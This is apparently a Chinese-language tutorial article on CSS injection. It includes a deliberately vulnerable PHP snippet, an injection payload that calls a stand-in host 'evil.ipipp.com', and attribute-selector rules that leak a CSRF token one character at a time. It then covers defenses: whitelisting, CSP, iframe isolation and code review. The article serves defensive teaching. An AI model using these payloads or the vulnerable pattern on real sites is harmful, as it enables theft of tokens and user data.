CSS注入指的是攻击者能够向目标页面插入受控的样式代码,从而改变页面展示效果或窃取页面中的敏感信息。很多人以为CSS只是负责美观的描述性语言,不涉及逻辑执行,安全风险有限,这种认知恰恰是CSS注入得以生存的土壤。事实上,在现代浏览器环境下,CSS具备加载外部资源、根据属性选择器匹配元素等能力,这些能力组合起来就能构成完整的数据外泄通道,整个过程甚至不需要一行JavaScript。

CSS注入的原理与常见入口
CSS注入的核心前提是攻击者的输入最终被当作样式代码解析。最典型的入口是一些允许用户自定义样式的功能,比如个人主页装扮、评论区的富文本编辑器、可配置的主题模块等。如果后端直接把用户提交的字符串拼接到<style>标签中,攻击者就获得了完整的样式控制权。
另一个容易被忽视的入口是那些接收样式参数的接口。有些页面会读取URL参数并写入行内样式,例如style="color:用户输入"。虽然行内样式的表达力弱于样式表,但攻击者仍然可以通过闭合引号的方式逃逸出属性值的限制,注入expression()时代的遗留语法已经失效,但url()加载外部资源的能力至今仍然可用。
来看一个存在注入缺陷的示例代码,后端把用户昵称直接拼进了样式模板:
<?php
// 存在CSS注入风险的写法
$name = $_GET['name'];
echo "<style>.username::after { content: '{$name}'; }</style>";
?>当攻击者提交'} body { background: url(//evil.ipipp.com/log?step=1) } .x{content:'这样的内容时,就成功闭合了原有规则,插入了自定义样式。此时浏览器会向攻击者控制的服务器发起请求,证明注入已经生效,后续的数据窃取正是基于这个能力展开的。
利用属性选择器窃取页面数据
CSS注入最危险的场景不是破坏布局,而是数据外泄。属性选择器[attr^=value]可以判断属性值是否以特定字符串开头,再配合background-image等能够发起网络请求的属性,就能把判断结果发送出去。攻击者可以针对存放CSRF令牌的元素构造大量选择器规则,每命中一条就触发一次外链请求。
假设页面中存在一个隐藏的input元素,其value属性存放着防伪令牌,攻击者注入的样式可能如下:
/* 逐字符探测令牌内容 */
input[value^="a"] { background: url(//evil.ipipp.com/v?a); }
input[value^="b"] { background: url(//evil.ipipp.com/v?b); }
input[value^="c"] { background: url(//evil.ipipp.com/v?c); }
/* 命中的那条规则会发起请求,泄露首字符 */这种方法的局限在于CSS无法直接读取命中的结果,攻击者需要遍历所有可能性,每确认一个字符就构造新一轮选择器继续探测下一个字符。对于长度为N、字符集为62的令牌,最坏情况下需要发送62乘以N次请求,成本虽高但在令牌长期有效或字符集较小时完全可行。
除了属性选择器,@font-face中的unicode-range同样可以用于探测,通过为不同字符区间定义外部字体,观察哪些字体被加载来缩小字符范围,这种手法在请求次数上更具效率。另外,::selection伪元素结合滚动条样式也曾被用于检测用户行为。这些技术共同说明,CSS的能力边界远超一般人的预期。
多层防御方案与工程实践
防御CSS注入的第一层是输入与输出的双向处理。对于必须拼接进样式上下文的用户输入,应当使用白名单机制校验,只允许颜色值、数字和预定义的关键词通过,坚决过滤花括号、分号、括号等能够改变语法结构的字符。相比黑名单,白名单在面对新型攻击手法时更加可靠。
第二层是内容安全策略(CSP)的合理配置。通过style-src指令限制样式来源,通过img-src或default-src限制图片加载域名,可以切断数据外泄的通道。需要注意的是,开启style-src 'unsafe-inline'会让行内样式不受限制,实际项目中应尽量把样式收敛到受信任的外部文件中,如下配置所示:
Content-Security-Policy: default-src 'self';
style-src 'self' https://trusted-cdn.ipipp.com;
img-src 'self' data:;
object-src 'none';
base-uri 'self'第三层是架构层面的隔离。对于用户生成内容(UGC)场景,推荐将用户自定义的样式限制在独立的文档中渲染,例如通过iframe沙箱加载用户装扮页面,与主站域名隔离,使注入的样式无法选择到主站DOM中的敏感元素。同时,任何包含令牌、密钥的字段都不应长期暴露在DOM属性中,改用JavaScript变量管理或通过请求头传递,能从根本上消除被选择器探测的目标。
最后,在代码审查中要把样式输出点纳入与HTML输出同等级别的检查范围。凡是出现echo拼接<style>、JavaScript动态写入styleSheet、或直接操作cssText的地方,都要确认输入经过净化。安全的习惯是把样式当作代码而不是数据来对待,只要它来自用户,就必须经过严格校验,这条原则能规避绝大多数CSS注入问题。
CSS注入CSS安全数据 exfiltration修改时间:2026-09-10 10:35:03